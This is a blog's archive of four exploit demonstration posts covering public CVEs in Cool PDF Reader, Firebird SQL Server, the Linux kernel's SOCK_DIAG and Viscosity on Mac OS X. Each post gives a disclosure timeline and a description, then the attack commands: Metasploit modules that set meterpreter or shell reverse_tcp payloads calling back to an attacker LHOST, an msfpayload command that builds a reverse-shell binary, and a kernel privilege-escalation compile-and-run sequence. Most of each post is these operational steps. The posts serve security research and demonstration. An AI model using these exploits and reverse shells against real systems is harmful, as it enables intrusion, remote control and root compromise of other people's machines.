Category Archives: Exploits

All my posts regarding exploits, PoCs and 0days.

CVE-2012-4914 Cool PDF Image Stream Buffer Overflow Metasploit Demo

Exploits, Metasploit, ,

Timeline :

Vulnerability discovered and reported to Secunia by Francis Provencher the 2012-12-19
Vulnerability publicly disclosed by Francis Provencher the 2013-01-18
Metasploit PoC provided the 2013-03-17

PoC provided by :

Francis Provencher
Chris Gabriel
juan vazquez

Reference(s) :

CVE-2012-4914
OSVDB-89349

Affected version(s) :

Cool PDF Reader equal or prior to version 3.0.2.256

Tested on Windows XP Pro SP3 with :

Cool PDF Reader 3.0.2.256

Description :

This module exploits a stack buffer overflow in Cool PDF Reader equal or prior to version 3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that contains a specially crafted image stream. This module has been tested successfully on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1.

Commands :

use exploit/windows/fileformat/coolpdf_image_stream_bof
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit -j

sysinfo
getuid

CVE-2013-2492 Firebird Relational Database Vulnerability Metasploit Demo

Exploits, Metasploit, ,

Timeline :

Vulnerability discovered by Spencer McIntyre the 2013-01-31
Vulnerability reported to the vendor the 2013-03-05
Coordinate public release of the vulnerability the 2013-03-08
Metasploit PoC provided the 2013-03-08

PoC provided by :

Spencer McIntyre

Reference(s) :

CVE-2013-2492
CORE-4058

Affected version(s) :

Firebird versions 2.1.3-2.1.5 and 2.5.1-2.5.2

Tested on Windows XP Pro SP3 with :

FireBird 2.5.2.26539

Description :

This module exploits a vulnerability in Firebird SQL Server. A specially crafted packet can be sent which will overwrite a pointer allowing the attacker to control where data is read from. Shortly, following the controlled read, the pointer is called resulting in code execution. The vulnerability exists with a group number extracted from the CNCT information, which is sent by the client, and whose size is not properly checked. This module uses an existing call to memcpy, just prior to the vulnerable code, which allows a small amount of data to be written to the stack. A two-phases stackpivot allows to execute the ROP chain which ultimately is used to execute VirtualAlloc and bypass DEP.

Commands :

use exploit/windows/misc/fb_cnct_group
set RHOST 192.168.178.22
set TARGET 0
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit

getuid
sysinfo

CVE-2013-1763 SOCK_DIAG vulnerability in Linux kernel 3.3 to 3.8 Demo

Exploits, ,

Timeline :

Vulnerability discovered and reported to the vendor by Mathias Krause the 2013-02-23
PoC provided the 2013-02-25

PoC provided by :

Mathias Krause
SynQ

Reference(s) :

CVE-2013-1763

Affected version(s) :

Linux Kernel 3.3 to 3.8

Tested on Ubuntu 12.10 x86 with :

Kernel 3.5.0-17-generic

Description :

Userland can send a netlink message requesting SOCK_DIAG_BY_FAMILY with a family greater or equal then AF_MAX — the array size of sock_diag_handlers[]. The current code does not test for this condition therefore is vulnerable to an out-of-bound access opening doors for a privilege escalation.

Commands :

id
gcc -o CVE-2013-1763 CVE-2013-1763.c
./CVE-2013-1763 Ubuntu
id

CVE-2012-4284 Setuid Viscosity Privilege Escalation Metasploit Demo

Exploits, Metasploit, , ,

Timeline :

Vulnerability discovered and reported to the vendor by Jason A. Donenfeld the 2012-08-11
Vulnerability corrected by the vendor the 2012-08-30
Metasploit PoC provided the 2013-03-03

PoC provided by :

Jason A. Donenfeld
juan vazquez

Reference(s) :

CVE-2012-4284
OSVDB-84709

Affected version(s) :

Viscosity 1.4.1 and earlier

Tested on Mac OS X 10.7.5 x64 with :

Viscosity 1.4.1

Description :

This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The vulnerability exists in the setuid ViscosityHelper, where an insufficient validation of path names allows execution of arbitrary python code as root. This module has been tested successfully on Viscosity 1.4.1 over Mac OS X 10.7.5.

Commands :

Create a OS X x86 payload with msfpayload
msfpayload osx/x86/shell_reverse_tcp LHOST=192.168.178.26 X > osx-payload

Upload this payload on the victim OS X 10.7.5

use exploit/multi/handler
set PAYLOAD osx/x86/shell_reverse_tcp
set LHOST 192.168.178.26
exploit -j

Execute osx-payload, a session will be created.
This session runs with current user privileges.

use exploit/osx/local/setuid_viscosity
set SESSION 1
set PAYLOAD osx/x86/shell_reverse_tcp
set LPORT 4445
set LHOST 192.168.178.26
exploit

id